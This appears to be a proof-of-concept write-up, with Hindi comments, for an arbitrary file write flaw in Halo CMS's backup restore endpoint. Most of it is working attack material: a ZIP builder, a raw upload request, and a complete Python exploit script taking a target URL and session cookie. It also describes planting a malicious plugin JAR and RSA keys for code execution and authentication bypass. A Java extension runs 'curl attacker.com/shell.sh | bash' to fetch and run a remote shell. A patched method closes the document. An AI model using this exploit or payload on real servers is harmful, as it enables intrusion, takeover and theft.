private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // VULNERABLE LINE
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → ZIP को अस्थायी निर्देशिका में निकालें   │
│  2. restoreExtensions() → extensions.data पुनर्स्थापित करें │
│  3. restoreWorkdir() → workdir/ को ~/.halo2/ में कॉपी करें   │
│     ↑ आर्बिट्ररी फ़ाइलें कार्यशील निर्देशिका में लिखी जाती हैं│
└─────────────────────────────────────────────────────────────┘

malicious-backup.zip
├── extensions.data          # आवश्यक: खाली या मान्य JSONL हो सकता है
└── workdir/                 # आवश्यक: सामग्री ~/.halo2/ में कॉपी की जाती है
    ├── PWNED_BY_POC.txt     # प्रूफ ऑफ कॉन्सेप्ट मार्कर फ़ाइल
    ├── plugins/             # RCE के लिए प्लगइन JAR
    │   └── evil-plugin.jar  # दुर्भावनापूर्ण प्लगइन
    └── keys/                # प्रमाणीकरण बायपास के लिए RSA कुंजियाँ
        ├── pat_id_rsa       # दुर्भावनापूर्ण निजी कुंजी
        └── pat_id_rsa.pub   # दुर्भावनापूर्ण सार्वजनिक कुंजी

import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # खाली extensions.data (restoreExtensions सत्यापन पास करता है)
    zf.writestr('extensions.data', '\n')

    # ~/.halo2/ में लिखने के लिए आर्बिट्ररी फ़ाइल
    zf.writestr('workdir/PWNED_BY_POC.txt',
                'Arbitrary file write confirmed!')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<ZIP file binary content>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--

# Halo सर्वर पर
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt

@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // मनमाना कमांड निष्पादित करें
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

#!/usr/bin/env python3
"""
Halo CMS Backup Restore Arbitrary File Write PoC
Vulnerability: Backup Restore Arbitrary File Write
CVSS: 8.8 (High)
"""

import io
import sys
import zipfile
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"

def create_malicious_backup():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('extensions.data', '\n')
        zf.writestr('workdir/PWNED_BY_POC.txt',
                    'Halo backup restore arbitrary file write confirmed!')
    buf.seek(0)
    return buf

def exploit():
    backup = create_malicious_backup()
    url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
    files = {'file': ('backup.zip', backup, 'application/zip')}
    headers = {'Cookie': SESSION}

    r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text[:300]}")

    if r.status_code == 200:
        print("\n[+] SUCCESS! Check: cat ~/.halo2/PWNED_BY_POC.txt")

if __name__ == "__main__":
    exploit()

# PoC निष्पादित करें
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"

# Halo सर्वर पर
cat ~/.halo2/PWNED_BY_POC.txt

private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                // कोई पाथ ट्रैवर्सल नहीं है इसकी पुष्टि करें
                checkDirectoryTraversal(backupRoot, workdir);

                // कोई सिम्बोलिक लिंक नहीं है इसकी पुष्टि करें
                Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
                    @Override
                    public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
                        if (attrs.isSymbolicLink()) {
                            throw new SecurityException("Symbolic links not allowed");
                        }
                        return FileVisitResult.CONTINUE;
                    }
                });

                // सत्यापन के साथ कॉपी करें
                copyRecursively(workdir, haloProperties.getWorkDir());
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}